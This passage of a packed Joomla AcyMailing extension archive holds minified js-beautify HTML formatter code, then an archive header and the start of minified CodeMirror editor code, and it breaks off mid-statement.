RegExp("["+t+"̀-ͯ҃-֑҇-ׇֽֿׁׂׅׄؐ-ؚؠ-ىٲ-ۓۧ-ۨۻ-ۼܰ-݊ࠀ-ࠔࠛ-ࠣࠥ-ࠧࠩ-࠭ࡀ-ࡗࣤ-ࣾऀ-ःऺ-़ा-ॏ॑-ॗॢ-ॣ०-९ঁ-ঃ়া-ৄেৈৗয়-ৠਁ-ਃ਼ਾ-ੂੇੈੋ-੍ੑ੦-ੱੵઁ-ઃ઼ા-ૅે-ૉો-્ૢ-ૣ૦-૯ଁ-ଃ଼ା-ୄେୈୋ-୍ୖୗୟ-ୠ୦-୯ஂா-ூெ-ைொ-்ௗ௦-௯ఁ-ఃె-ైొ-్ౕౖౢ-ౣ౦-౯ಂಃ಼ಾ-ೄೆ-ೈೊ-್ೕೖೢ-ೣ೦-೯ംഃെ-ൈൗൢ-ൣ൦-൯ංඃ්ා-ුූෘ-ෟෲෳิ-ฺเ-ๅ๐-๙ິ-ູ່-ໍ໐-໙༘༙༠-༩༹༵༷ཁ-ཇཱ-྄྆-྇ྍ-ྗྙ-ྼ࿆က-ဩ၀-၉ၧ-ၭၱ-ၴႂ-ႍႏ-ႝ፝-፟ᜎ-ᜐᜠ-ᜰᝀ-ᝐᝲᝳក-ឲ៝០-៩᠋-᠍᠐-᠙ᤠ-ᤫᤰ-᤻ᥑ-ᥭᦰ-ᧀᧈ-ᧉ᧐-᧙ᨀ-ᨕᨠ-ᩓ᩠-᩿᩼-᪉᪐-᪙ᭆ-ᭋ᭐-᭙᭫-᭳᮰-᮹᯦-᯳ᰀ-ᰢ᱀-᱉ᱛ-ᱽ᳐-᳒ᴀ-ᶾḁ-ἕ‌‍‿⁀⁔⃐-⃥⃜⃡-⃰ⶁ-ⶖⷠ-ⷿ〡-〨゙゚Ꙁ-ꙭꙴ-꙽ꚟ꛰-꛱ꟸ-ꠀ꠆ꠋꠣ-ꠧꢀ-ꢁꢴ-꣄꣐-꣙ꣳ-ꣷ꤀-꤉ꤦ-꤭ꤰ-ꥅꦀ-ꦃ꦳-꧀ꨀ-ꨧꩀ-ꩁꩌ-ꩍ꩐-꩙ꩻꫠ-ꫩꫲ-ꫳꯀ-ꯡ꯬꯭꯰-꯹ﬠ-ﬨ︀-️︠-︦︳︴﹍-﹏0-9_]"),u=n.newline=/[\n\r\u2028\u2029]/,f=n.isIdentifierStart=function(n){return n<65?n===36:n<91?!0:n<97?n===95:n<123?!0:n>=170&&i.test(String.fromCharCode(n))},e=n.isIdentifierChar=function(n){return n<48?n===36:n<58?!0:n<65?!1:n<91?!0:n<97?n===95:n<123?!0:n>=170&&r.test(String.fromCharCode(n))}})(i);t={BlockStatement:"BlockStatement",Statement:"Statement",ObjectLiteral:"ObjectLiteral",ArrayLiteral:"ArrayLiteral",ForInitializer:"ForInitializer",Conditional:"Conditional",Expression:"Expression"};u=function(n,t,i,r){this.type=n;this.text=t;this.comments_before=[];this.newlines=i||0;this.wanted_newline=i>0;this.whitespace_before=r||[];this.parent=null};typeof define=="function"&&define.amd?define([],function(){return{js_beautify:r}}):typeof exports!="undefined"?exports.js_beautify=r:typeof window!="undefined"?window.js_beautify=r:typeof global!="undefined"&&(global.js_beautify=r)})(),function(){function i(n){return n.replace(/^\s+/g,"")}function t(n){return n.replace(/\s+$/g,"")}function n(n,r,u,f){function ft(){return this.pos=0,this.token="",this.current_mode="CONTENT",this.tags={parent:"parent1",parentcount:1,parent1:""},this.tag_type="",this.token_text=this.last_token=this.last_text=this.token_type="",this.newlines=0,this.indent_content=k,this.Utils={whitespace:"\n\r\t ".split(""),single_token:"br,input,link,meta,!doctype,basefont,base,area,hr,wbr,param,img,isindex,?xml,embed,?php,?,?=".split(","),extra_liners:"head,body,/html".split(","),in_array:function(n,t){for(var i=0;i<t.length;i++)if(n===t[i])return!0;return!1}},this.is_whitespace=function(n){for(var t=0;t<n.length;n++)if(!this.Utils.in_array(n.charAt(t),this.Utils.whitespace))return!1;return!0},this.traverse_whitespace=function(){var n="";if(n=this.input.charAt(this.pos),this.Utils.in_array(n,this.Utils.whitespace)){for(this.newlines=0;this.Utils.in_array(n,this.Utils.whitespace);)v&&n==="\n"&&this.newlines<=it&&(this.newlines+=1),this.pos++,n=this.input.charAt(this.pos);return!0}return!1},this.space_or_wrap=function(n){this.line_char_count>=this.wrap_line_length?(this.print_newline(!1,n),this.print_indentation(n)):(this.line_char_count++,n.push(" "))},this.get_content=function(){for(var i="",n=[],t;this.input.charAt(this.pos)!=="<";){if(this.pos>=this.input.length)return n.length?n.join(""):["","TK_EOF"];if(this.traverse_whitespace()){this.space_or_wrap(n);continue}if(o)if(t=this.input.substr(this.pos,3),t==="{{#"||t==="{{/")break;else if(this.input.substr(this.pos,2)==="{{"&&this.get_tag(!0)==="{{else}}")break;i=this.input.charAt(this.pos);this.pos++;this.line_char_count++;n.push(i)}return n.length?n.join(""):""},this.get_contents_to=function(n){var i,t;if(this.pos===this.input.length)return["","TK_EOF"];var r="",u=new RegExp("<\/"+n+"\\s*>","igm");return u.lastIndex=this.pos,i=u.exec(this.input),t=i?i.index:this.input.length,this.pos<t&&(r=this.input.substring(this.pos,t),this.pos=t),r},this.record_tag=function(n){this.tags[n+"count"]?(this.tags[n+"count"]++,this.tags[n+this.tags[n+"count"]]=this.indent_level):(this.tags[n+"count"]=1,this.tags[n+this.tags[n+"count"]]=this.indent_level);this.tags[n+this.tags[n+"count"]+"parent"]=this.tags.parent;this.tags.parent=n+this.tags[n+"count"]},this.retrieve_tag=function(n){if(this.tags[n+"count"]){for(var t=this.tags.parent;t;){if(n+this.tags[n+"count"]===t)break;t=this.tags[t+"parent"]}t&&(this.indent_level=this.tags[n+this.tags[n+"count"]],this.tags.parent=this.tags[t+"parent"]);delete this.tags[n+this.tags[n+"count"]+"parent"];delete this.tags[n+this.tags[n+"count"]];this.tags[n+"count"]===1?delete this.tags[n+"count"]:this.tags[n+"count"]--}},this.indent_to_tag=function(n){if(this.tags[n+"count"]){for(var t=this.tags.parent;t;){if(n+this.tags[n+"count"]===t)break;t=this.tags[t+"parent"]}t&&(this.indent_level=this.tags[n+this.tags[n+"count"]])}},this.get_tag=function(n){var r="",t=[],h="",f=!1,s,p,e,c=this.pos,l=this.line_char_count,i,v,y,u;n=n!==undefined?n:!1;do{if(this.pos>=this.input.length)return n&&(this.pos=c,this.line_char_count=l),t.length?t.join(""):["","TK_EOF"];if(r=this.input.charAt(this.pos),this.pos++,this.Utils.in_array(r,this.Utils.whitespace)){f=!0;continue}if((r==="'"||r==='"')&&(r+=this.get_unformatted(r),f=!0),r==="="&&(f=!1),t.length&&t[t.length-1]!=="="&&r!==">"&&f&&(this.space_or_wrap(t),f=!1),o&&e==="<"&&r+this.input.charAt(this.pos)==="{{"&&(r+=this.get_unformatted("}}"),t.length&&t[t.length-1]!==" "&&t[t.length-1]!=="<"&&(r=" "+r),f=!0),r!=="<"||e||(s=this.pos-1,e="<"),o&&!e&&t.length>=2&&t[t.length-1]==="{"&&t[t.length-2]=="{"&&(s=r==="#"||r==="/"?this.pos-3:this.pos-2,e="{"),this.line_char_count++,t.push(r),t[1]&&t[1]==="!"){t=[this.get_comment(s)];break}if(o&&e==="{"&&t.length>2&&t[t.length-2]==="}"&&t[t.length-1]==="}")break}while(r!==">");return i=t.join(""),v=i.indexOf(" ")!==-1?i.indexOf(" "):i[0]==="{"?i.indexOf("}"):i.indexOf(">"),y=i[0]!=="<"&&o?i[2]==="#"?3:2:1,u=i.substring(y,v).toLowerCase(),i.charAt(i.length-2)==="/"||this.Utils.in_array(u,this.Utils.single_token)?n||(this.tag_type="SINGLE"):o&&i[0]==="{"&&u==="else"?n||(this.indent_to_tag("if"),this.tag_type="HANDLEBARS_ELSE",this.indent_content=!0,this.traverse_whitespace()):this.is_unformatted(u,a)?(h=this.get_unformatted("<\/"+u+">",i),t.push(h),p=this.pos-1,this.tag_type="SINGLE"):u==="script"&&(i.search("type")===-1||i.search("type")>-1&&i.search(/\b(text|application)\/(x-)?(javascript|ecmascript|jscript|livescript)/)>-1)?n||(this.record_tag(u),this.tag_type="SCRIPT"):u==="style"&&(i.search("type")===-1||i.search("type")>-1&&i.search("text/css")>-1)?n||(this.record_tag(u),this.tag_type="STYLE"):u.charAt(0)==="!"?n||(this.tag_type="SINGLE",this.traverse_whitespace()):n||(u.charAt(0)==="/"?(this.retrieve_tag(u.substring(1)),this.tag_type="END"):(this.record_tag(u),u.toLowerCase()!=="html"&&(this.indent_content=!0),this.tag_type="START"),this.traverse_whitespace()&&this.space_or_wrap(t),this.Utils.in_array(u,this.Utils.extra_liners)&&(this.print_newline(!1,this.output),this.output.length&&this.output[this.output.length-2]!=="\n"&&this.print_newline(!0,this.output))),n&&(this.pos=c,this.line_char_count=l),t.join("")},this.get_comment=function(n){var t="",i=">",r=!1;for(this.pos=n,input_char=this.input.charAt(this.pos),this.pos++;this.pos<=this.input.length;){if(t+=input_char,t[t.length-1]===i[i.length-1]&&t.indexOf(i)!==-1)break;!r&&t.length<10&&(t.indexOf("<![if")===0?(i="<![endif]>",r=!0):t.indexOf("<![cdata[")===0?(i="]\]>",r=!0):t.indexOf("<![")===0?(i="]>",r=!0):t.indexOf("<!--")===0&&(i="-->",r=!0));input_char=this.input.charAt(this.pos);this.pos++}return t},this.get_unformatted=function(n,t){if(t&&t.toLowerCase().indexOf(n)!==-1)return"";var r="",i="",u=0,f=!0;do{if(this.pos>=this.input.length)return i;if(r=this.input.charAt(this.pos),this.pos++,this.Utils.in_array(r,this.Utils.whitespace)){if(!f){this.line_char_count--;continue}if(r==="\n"||r==="\r"){i+="\n";this.line_char_count=0;continue}}i+=r;this.line_char_count++;f=!0;o&&r==="{"&&i.length&&i[i.length-2]==="{"&&(i+=this.get_unformatted("}}"),u=i.length)}while(i.toLowerCase().indexOf(n,u)===-1);return i},this.get_token=function(){var n,t,i;return this.last_token==="TK_TAG_SCRIPT"||this.last_token==="TK_TAG_STYLE"?(t=this.last_token.substr(7),n=this.get_contents_to(t),typeof n!="string")?n:[n,"TK_"+t]:this.current_mode==="CONTENT"?(n=this.get_content(),typeof n!="string"?n:[n,"TK_CONTENT"]):this.current_mode==="TAG"?(n=this.get_tag(),typeof n!="string"?n:(i="TK_TAG_"+this.tag_type,[n,i])):void 0},this.get_full_indent=function(n){return(n=this.indent_level+n||0,n<1)?"":Array(n+1).join(this.indent_string)},this.is_unformatted=function(n,t){if(!this.Utils.in_array(n,t))return!1;if(n.toLowerCase()!=="a"||!this.Utils.in_array("a",t))return!0;var r=this.get_tag(!0),i=(r||"").match(/^\s*<\s*\/?([a-z]*)\s*[^>]*>\s*$/);return!i||this.Utils.in_array(i,t)?!0:!1},this.printer=function(n,r,u,f,e){this.input=n||"";this.output=[];this.indent_character=r;this.indent_string="";this.indent_size=u;this.brace_style=e;this.indent_level=0;this.wrap_line_length=f;this.line_char_count=0;for(var o=0;o<this.indent_size;o++)this.indent_string+=this.indent_character;this.print_newline=function(n,i){(this.line_char_count=0,i&&i.length)&&(n||i[i.length-1]!=="\n")&&(i[i.length-1]!=="\n"&&(i[i.length-1]=t(i[i.length-1])),i.push("\n"))};this.print_indentation=function(n){for(var t=0;t<this.indent_level;t++)n.push(this.indent_string),this.line_char_count+=this.indent_string.length};this.print_token=function(n){(!this.is_whitespace(n)||this.output.length)&&((n||n!=="")&&this.output.length&&this.output[this.output.length-1]==="\n"&&(this.print_indentation(this.output),n=i(n)),this.print_token_raw(n))};this.print_token_raw=function(n){this.newlines>0&&(n=t(n));n&&n!==""&&(n.length>1&&n[n.length-1]==="\n"?(this.output.push(n.slice(0,-1)),this.print_newline(!1,this.output)):this.output.push(n));for(var i=0;i<this.newlines;i++)this.print_newline(i>0,this.output);this.newlines=0};this.indent=function(){this.indent_level++};this.unindent=function(){this.indent_level>0&&this.indent_level--}},this}var e,k,d,g,nt,tt,a,v,it,o,rt,y,ut,c,p,s,l,h,w,b;for(r=r||{},(r.wrap_line_length===undefined||parseInt(r.wrap_line_length,10)===0)&&r.max_char!==undefined&&parseInt(r.max_char,10)!==0&&(r.wrap_line_length=r.max_char),k=r.indent_inner_html===undefined?!1:r.indent_inner_html,d=r.indent_size===undefined?4:parseInt(r.indent_size,10),g=r.indent_char===undefined?" ":r.indent_char,tt=r.brace_style===undefined?"collapse":r.brace_style,nt=parseInt(r.wrap_line_length,10)===0?32786:parseInt(r.wrap_line_length||250,10),a=r.unformatted||["a","span","img","bdo","em","strong","dfn","code","samp","kbd","var","cite","abbr","acronym","q","sub","sup","tt","i","b","big","small","u","s","strike","font","ins","del","pre","address","dt","h1","h2","h3","h4","h5","h6"],v=r.preserve_newlines===undefined?!0:r.preserve_newlines,it=v?isNaN(parseInt(r.max_preserve_newlines,10))?32786:parseInt(r.max_preserve_newlines,10):0,o=r.indent_handlebars===undefined?!1:r.indent_handlebars,rt=r.end_with_newline===undefined?!1:r.end_with_newline,e=new ft,e.printer(n,g,d,nt,tt);;){if(y=e.get_token(),e.token_text=y[0],e.token_type=y[1],e.token_type==="TK_EOF")break;switch(e.token_type){case"TK_TAG_START":e.print_newline(!1,e.output);e.print_token(e.token_text);e.indent_content&&(e.indent(),e.indent_content=!1);e.current_mode="CONTENT";break;case"TK_TAG_STYLE":case"TK_TAG_SCRIPT":e.print_newline(!1,e.output);e.print_token(e.token_text);e.current_mode="CONTENT";break;case"TK_TAG_END":e.last_token==="TK_CONTENT"&&e.last_text===""&&(ut=e.token_text.match(/\w+/)[0],c=null,e.output.length&&(c=e.output[e.output.length-1].match(/(?:<|{{#)\s*(\w+)/)),(c===null||c[1]!==ut)&&e.print_newline(!1,e.output));e.print_token(e.token_text);e.current_mode="CONTENT";break;case"TK_TAG_SINGLE":p=e.token_text.match(/^\s*<([a-z-]+)/i);p&&e.Utils.in_array(p[1],a)||e.print_newline(!1,e.output);e.print_token(e.token_text);e.current_mode="CONTENT";break;case"TK_TAG_HANDLEBARS_ELSE":e.print_token(e.token_text);e.indent_content&&(e.indent(),e.indent_content=!1);e.current_mode="CONTENT";break;case"TK_CONTENT":e.print_token(e.token_text);e.current_mode="TAG";break;case"TK_STYLE":case"TK_SCRIPT":if(e.token_text!==""){if(e.print_newline(!1,e.output),s=e.token_text,h=1,e.token_type==="TK_SCRIPT"?l=typeof u=="function"&&u:e.token_type==="TK_STYLE"&&(l=typeof f=="function"&&f),r.indent_scripts==="keep"?h=0:r.indent_scripts==="separate"&&(h=-e.indent_level),w=e.get_full_indent(h),l)s=l(s.replace(/^\s*/,w),r);else{var et=s.match(/^\s*/)[0],ot=et.match(/[^\n\r]*$/)[0].split(e.indent_string).length-1,st=e.get_full_indent(h-ot);s=s.replace(/^\s*/,w).replace(/\r\n|\r|\n/g,"\n"+st).replace(/\s+$/,"")}s&&(e.print_token_raw(s),e.print_newline(!0,e.output))}e.current_mode="TAG";break;default:e.token_text!==""&&e.print_token(e.token_text)}e.last_token=e.token_type;e.last_text=e.token_text}return b=e.output.join("").replace(/[\r\n\t ]+$/,""),rt&&(b+="\n"),b}if(typeof define=="function"&&define.amd)define(["require","./beautify","./beautify-css"],function(t){var i=t("./beautify"),r=t("./beautify-css");return{html_beautify:function(t,u){return n(t,u,i.js_beautify,r.css_beautify)}}});else if(typeof exports!="undefined"){var r=require("./beautify.js"),u=require("./beautify-css.js");exports.html_beautify=function(t,i){return n(t,i,r.js_beautify,u.css_beautify)}}else typeof window!="undefined"?window.html_beautify=function(t,i){return n(t,i,window.js_beautify,window.css_beautify)}:typeof global!="undefined"&&(global.html_beautify=function(t,i){return n(t,i,global.js_beautify,global.css_beautify)})}()
extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/js/codemirror.min.js000060400000517123152455305310031543 0ustar00com_acymailing(function(a){if(typeof exports=="object"&&typeof module=="object"){module.exports=a()}else{if(typeof define=="function"&&define.amd){return define([],a)}else{this.CodeMirror=a()}}})(function(){var cp=/gecko\/\d/i.test(navigator.userAgent);var eL=/MSIE \d/.test(navigator.userAgent);var bK=/Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(navigator.userAgent);var dL=eL||bK;var k=dL&&(eL?document.documentMode||6:bK[1]);var c1=/WebKit\//.test(navigator.userAgent);var dO=c1&&/Qt\/\d+\.\d+/.test(navigator.userAgent);var dd=/Chrome\//.test(navigator.userAgent);var d4=/Opera\//.test(navigator.userAgent);var aC=/Apple Computer/.test(navigator.vendor);var c8=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(navigator.userAgent);var fv=/PhantomJS/.test(navigator.userAgent);var e2=/AppleWebKit/.test(navigator.userAgent)&&/Mobile\/\w+/.test(navigator.userAgent);var eh=e2||/Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(navigator.userAgent);var b8=e2||/Mac/.test(navigator.platform);var aP=/win/i.test(navigator.platform);var aZ=d4&&navigator.userAgent.match(/Version\/(\d*\.\d*)/);if(aZ){aZ=Number(aZ[1])}if(aZ&&aZ>=15){d4=false;c1=true}var bR=b8&&(dO||d4&&(aZ==null||aZ<12.11));var ga=cp||(dL&&k>=9);var gd=false,a8=false;function H(gj,gl){if(!(this instanceof H)){return new H(gj,gl)}this.options=gl=gl?aN(gl):{};aN(e4,gl,false);cf(gl);var gp=gl.value;if(typeof gp=="string"){gp=new at(gp,gl.mode)}this.doc=gp;var gk=new H.inputStyles[gl.inputStyle](this);var go=this.display=new eJ(gj,gp,gk);go.wrapper.CodeMirror=this;ed(this);cP(this);if(gl.lineWrapping){this.display.wrapper.className+=" CodeMirror-wrap"}if(gl.autofocus&&!eh){go.input.focus()}aD(this);this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:false,delayingBlurEvent:false,focused:false,suppressEdits:false,pasteIncoming:false,cutIncoming:false,draggingText:false,highlight:new gh(),keySeq:null,specialChars:null};var gi=this;if(dL&&k<11){setTimeout(function(){gi.display.input.reset(true)},20)}fR(this);bk();cJ(this);this.curOp.forceUpdate=true;ec(this,gp);if((gl.autofocus&&!eh)||gi.hasFocus()){setTimeout(cw(cC,this),20)}else{aV(this)}for(var gn in bg){if(bg.hasOwnProperty(gn)){bg[gn](this,gl[gn],cd)}}d6(this);if(gl.finishInit){gl.finishInit(this)}for(var gm=0;gm<a9.length;++gm){a9[gm](this)}am(this);if(c1&&gl.lineWrapping&&getComputedStyle(go.lineDiv).textRendering=="optimizelegibility"){go.lineDiv.style.textRendering="auto"}}function eJ(gi,gk,gj){var gl=this;this.input=gj;gl.scrollbarFiller=f3("div",null,"CodeMirror-scrollbar-filler");gl.scrollbarFiller.setAttribute("cm-not-content","true");gl.gutterFiller=f3("div",null,"CodeMirror-gutter-filler");gl.gutterFiller.setAttribute("cm-not-content","true");gl.lineDiv=f3("div",null,"CodeMirror-code");gl.selectionDiv=f3("div",null,null,"position: relative; z-index: 1");gl.cursorDiv=f3("div",null,"CodeMirror-cursors");gl.measure=f3("div",null,"CodeMirror-measure");gl.lineMeasure=f3("div",null,"CodeMirror-measure");gl.lineSpace=f3("div",[gl.measure,gl.lineMeasure,gl.selectionDiv,gl.cursorDiv,gl.lineDiv],null,"position: relative; outline: none");gl.mover=f3("div",[f3("div",[gl.lineSpace],"CodeMirror-lines")],null,"position: relative");gl.sizer=f3("div",[gl.mover],"CodeMirror-sizer");gl.sizerWidth=null;gl.heightForcer=f3("div",null,null,"position: absolute; height: "+dK+"px; width: 1px;");gl.gutters=f3("div",null,"CodeMirror-gutters");gl.lineGutter=null;gl.scroller=f3("div",[gl.sizer,gl.heightForcer,gl.gutters],"CodeMirror-scroll");gl.scroller.setAttribute("tabIndex","-1");gl.wrapper=f3("div",[gl.scrollbarFiller,gl.gutterFiller,gl.scroller],"CodeMirror");if(dL&&k<8){gl.gutters.style.zIndex=-1;gl.scroller.style.paddingRight=0}if(!c1&&!(cp&&eh)){gl.scroller.draggable=true}if(gi){if(gi.appendChild){gi.appendChild(gl.wrapper)}else{gi(gl.wrapper)}}gl.viewFrom=gl.viewTo=gk.first;gl.reportedViewFrom=gl.reportedViewTo=gk.first;gl.view=[];gl.renderedView=null;gl.externalMeasured=null;gl.viewOffset=0;gl.lastWrapHeight=gl.lastWrapWidth=0;gl.updateLineNumbers=null;gl.nativeBarWidth=gl.barHeight=gl.barWidth=0;gl.scrollbarsClipped=false;gl.lineNumWidth=gl.lineNumInnerWidth=gl.lineNumChars=null;gl.alignWidgets=false;gl.cachedCharWidth=gl.cachedTextHeight=gl.cachedPaddingH=null;gl.maxLine=null;gl.maxLineLength=0;gl.maxLineChanged=false;gl.wheelDX=gl.wheelDY=gl.wheelStartX=gl.wheelStartY=null;gl.shift=false;gl.selForContextMenu=null;gl.activeTouch=null;gj.init(gl)}function bs(gi){gi.doc.mode=H.getMode(gi.options,gi.doc.modeOption);em(gi)}function em(gi){gi.doc.iter(function(gj){if(gj.stateAfter){gj.stateAfter=null}if(gj.styles){gj.styles=null}});gi.doc.frontier=gi.doc.first;eg(gi,100);gi.state.modeGen++;if(gi.curOp){ah(gi)}}function eH(gi){if(gi.options.lineWrapping){fB(gi.display.wrapper,"CodeMirror-wrap");gi.display.sizer.style.minWidth="";gi.display.sizerWidth=null}else{f(gi.display.wrapper,"CodeMirror-wrap");h(gi)}X(gi);ah(gi);ak(gi);setTimeout(function(){eZ(gi)},100)}function bf(gi){var gk=aY(gi.display),gj=gi.options.lineWrapping;var gl=gj&&Math.max(5,gi.display.scroller.clientWidth/dE(gi.display)-3);return function(gn){if(fx(gi.doc,gn)){return 0}var gm=0;if(gn.widgets){for(var go=0;go<gn.widgets.length;go++){if(gn.widgets[go].height){gm+=gn.widgets[go].height}}}if(gj){return gm+(Math.ceil(gn.text.length/gl)||1)*gk}else{return gm+gk}}}function X(gi){var gk=gi.doc,gj=bf(gi);gk.iter(function(gl){var gm=gj(gl);if(gm!=gl.height){f6(gl,gm)}})}function cP(gi){gi.display.wrapper.className=gi.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+gi.options.theme.replace(/(^|\s)\s*/g," cm-s-");ak(gi)}function dx(gi){ed(gi);ah(gi);setTimeout(function(){eF(gi)},20)}function ed(gi){var gj=gi.display.gutters,gn=gi.options.gutters;d2(gj);for(var gk=0;gk<gn.length;++gk){var gl=gn[gk];var gm=gj.appendChild(f3("div",null,"CodeMirror-gutter "+gl));if(gl=="CodeMirror-linenumbers"){gi.display.lineGutter=gm;gm.style.width=(gi.display.lineNumWidth||1)+"px"}}gj.style.display=gk?"":"none";c5(gi)}function c5(gi){var gj=gi.display.gutters.offsetWidth;gi.display.sizer.style.marginLeft=gj+"px"}function eo(gk){if(gk.height==0){return 0}var gj=gk.text.length,gi,gm=gk;while(gi=eP(gm)){var gl=gi.find(0,true);gm=gl.from.line;gj+=gl.from.ch-gl.to.ch}gm=gk;while(gi=ex(gm)){var gl=gi.find(0,true);gj-=gm.text.length-gl.from.ch;gm=gl.to.line;gj+=gm.text.length-gl.to.ch}return gj}function h(gi){var gk=gi.display,gj=gi.doc;gk.maxLine=fg(gj,gj.first);gk.maxLineLength=eo(gk.maxLine);gk.maxLineChanged=true;gj.iter(function(gm){var gl=eo(gm);if(gl>gk.maxLineLength){gk.maxLineLength=gl;gk.maxLine=gm}})}function cf(gi){var gj=di(gi.gutters,"CodeMirror-linenumbers");if(gj==-1&&gi.lineNumbers){gi.gutters=gi.gutters.concat(["CodeMirror-linenumbers"])}else{if(gj>-1&&!gi.lineNumbers){gi.gutters=gi.gutters.slice(0);gi.gutters.splice(gj,1)}}}function dB(gi){var gl=gi.display,gk=gl.gutters.offsetWidth;var gj=Math.round(gi.doc.height+bJ(gi.display));return{clientHeight:gl.scroller.clientHeight,viewHeight:gl.wrapper.clientHeight,scrollWidth:gl.scroller.scrollWidth,clientWidth:gl.scroller.clientWidth,viewWidth:gl.wrapper.clientWidth,barLeft:gi.options.fixedGutter?gk:0,docHeight:gj,scrollHeight:gj+cU(gi)+gl.barHeight,nativeBarWidth:gl.nativeBarWidth,gutterWidth:gk}}function dl(gk,gj,gi){this.cm=gi;var gl=this.vert=f3("div",[f3("div",null,null,"min-width: 1px")],"CodeMirror-vscrollbar");var gm=this.horiz=f3("div",[f3("div",null,null,"height: 100%; min-height: 1px")],"CodeMirror-hscrollbar");gk(gl);gk(gm);bY(gl,"scroll",function(){if(gl.clientHeight){gj(gl.scrollTop,"vertical")}});bY(gm,"scroll",function(){if(gm.clientWidth){gj(gm.scrollLeft,"horizontal")}});this.checkedOverlay=false;if(dL&&k<8){this.horiz.style.minHeight=this.vert.style.minWidth="18px"}}dl.prototype=aN({update:function(gl){var gm=gl.scrollWidth>gl.clientWidth+1;var gk=gl.scrollHeight>gl.clientHeight+1;var gn=gl.nativeBarWidth;if(gk){this.vert.style.display="block";this.vert.style.bottom=gm?gn+"px":"0";var gj=gl.viewHeight-(gm?gn:0);this.vert.firstChild.style.height=Math.max(0,gl.scrollHeight-gl.clientHeight+gj)+"px"}else{this.vert.style.display="";this.vert.firstChild.style.height="0"}if(gm){this.horiz.style.display="block";this.horiz.style.right=gk?gn+"px":"0";this.horiz.style.left=gl.barLeft+"px";var gi=gl.viewWidth-gl.barLeft-(gk?gn:0);this.horiz.firstChild.style.width=(gl.scrollWidth-gl.clientWidth+gi)+"px"}else{this.horiz.style.display="";this.horiz.firstChild.style.width="0"}if(!this.checkedOverlay&&gl.clientHeight>0){if(gn==0){this.overlayHack()}this.checkedOverlay=true}return{right:gk?gn:0,bottom:gm?gn:0}},setScrollLeft:function(gi){if(this.horiz.scrollLeft!=gi){this.horiz.scrollLeft=gi}},setScrollTop:function(gi){if(this.vert.scrollTop!=gi){this.vert.scrollTop=gi}},overlayHack:function(){var gi=b8&&!c8?"12px":"18px";this.horiz.style.minHeight=this.vert.style.minWidth=gi;var gj=this;var gk=function(gl){if(L(gl)!=gj.vert&&L(gl)!=gj.horiz){c3(gj.cm,ev)(gl)}};bY(this.vert,"mousedown",gk);bY(this.horiz,"mousedown",gk)},clear:function(){var gi=this.horiz.parentNode;gi.removeChild(this.horiz);gi.removeChild(this.vert)}},dl.prototype);function e5(){}e5.prototype=aN({update:function(){return{bottom:0,right:0}},setScrollLeft:function(){},setScrollTop:function(){},clear:function(){}},e5.prototype);H.scrollbarModel={"native":dl,"null":e5};function aD(gi){if(gi.display.scrollbars){gi.display.scrollbars.clear();if(gi.display.scrollbars.addClass){f(gi.display.wrapper,gi.display.scrollbars.addClass)}}gi.display.scrollbars=new H.scrollbarModel[gi.options.scrollbarStyle](function(gj){gi.display.wrapper.insertBefore(gj,gi.display.scrollbarFiller);bY(gj,"mousedown",function(){if(gi.state.focused){setTimeout(function(){gi.display.input.focus()},0)}});gj.setAttribute("cm-not-content","true")},function(gk,gj){if(gj=="horizontal"){bF(gi,gk)}else{N(gi,gk)}},gi);if(gi.display.scrollbars.addClass){fB(gi.display.wrapper,gi.display.scrollbars.addClass)}}function eZ(gk,gm){if(!gm){gm=dB(gk)}var gj=gk.display.barWidth,gi=gk.display.barHeight;aU(gk,gm);for(var gl=0;gl<4&&gj!=gk.display.barWidth||gi!=gk.display.barHeight;gl++){if(gj!=gk.display.barWidth&&gk.options.lineWrapping){ba(gk)}aU(gk,dB(gk));gj=gk.display.barWidth;gi=gk.display.barHeight}}function aU(gi,gj){var gl=gi.display;var gk=gl.scrollbars.update(gj);gl.sizer.style.paddingRight=(gl.barWidth=gk.right)+"px";gl.sizer.style.paddingBottom=(gl.barHeight=gk.bottom)+"px";if(gk.right&&gk.bottom){gl.scrollbarFiller.style.display="block";gl.scrollbarFiller.style.height=gk.bottom+"px";gl.scrollbarFiller.style.width=gk.right+"px"}else{gl.scrollbarFiller.style.display=""}if(gk.bottom&&gi.options.coverGutterNextToScrollbar&&gi.options.fixedGutter){gl.gutterFiller.style.display="block";gl.gutterFiller.style.height=gk.bottom+"px";gl.gutterFiller.style.width=gj.gutterWidth+"px"}else{gl.gutterFiller.style.display=""}}function b7(gl,gp,gk){var gm=gk&&gk.top!=null?Math.max(0,gk.top):gl.scroller.scrollTop;gm=Math.floor(gm-e9(gl));var gi=gk&&gk.bottom!=null?gk.bottom:gm+gl.wrapper.clientHeight;var gn=bH(gp,gm),go=bH(gp,gi);if(gk&&gk.ensure){var gj=gk.ensure.from.line,gq=gk.ensure.to.line;if(gj<gn){gn=gj;go=bH(gp,bN(fg(gp,gj))+gl.wrapper.clientHeight)}else{if(Math.min(gq,gp.lastLine())>=go){gn=bH(gp,bN(fg(gp,gq))-gl.wrapper.clientHeight);go=gq}}}return{from:gn,to:Math.max(go,gn+1)}}function eF(gq){var go=gq.display,gp=go.view;if(!go.alignWidgets&&(!go.gutters.firstChild||!gq.options.fixedGutter)){return}var gm=dY(go)-go.scroller.scrollLeft+gq.doc.scrollLeft;var gi=go.gutters.offsetWidth,gj=gm+"px";for(var gl=0;gl<gp.length;gl++){if(!gp[gl].hidden){if(gq.options.fixedGutter&&gp[gl].gutter){gp[gl].gutter.style.left=gj}var gn=gp[gl].alignable;if(gn){for(var gk=0;gk<gn.length;gk++){gn[gk].style.left=gj}}}}if(gq.options.fixedGutter){go.gutters.style.left=(gm+gi)+"px"}}function d6(gi){if(!gi.options.lineNumbers){return false}var gn=gi.doc,gj=et(gi.options,gn.first+gn.size-1),gm=gi.display;if(gj.length!=gm.lineNumChars){var go=gm.measure.appendChild(f3("div",[f3("div",gj)],"CodeMirror-linenumber CodeMirror-gutter-elt"));var 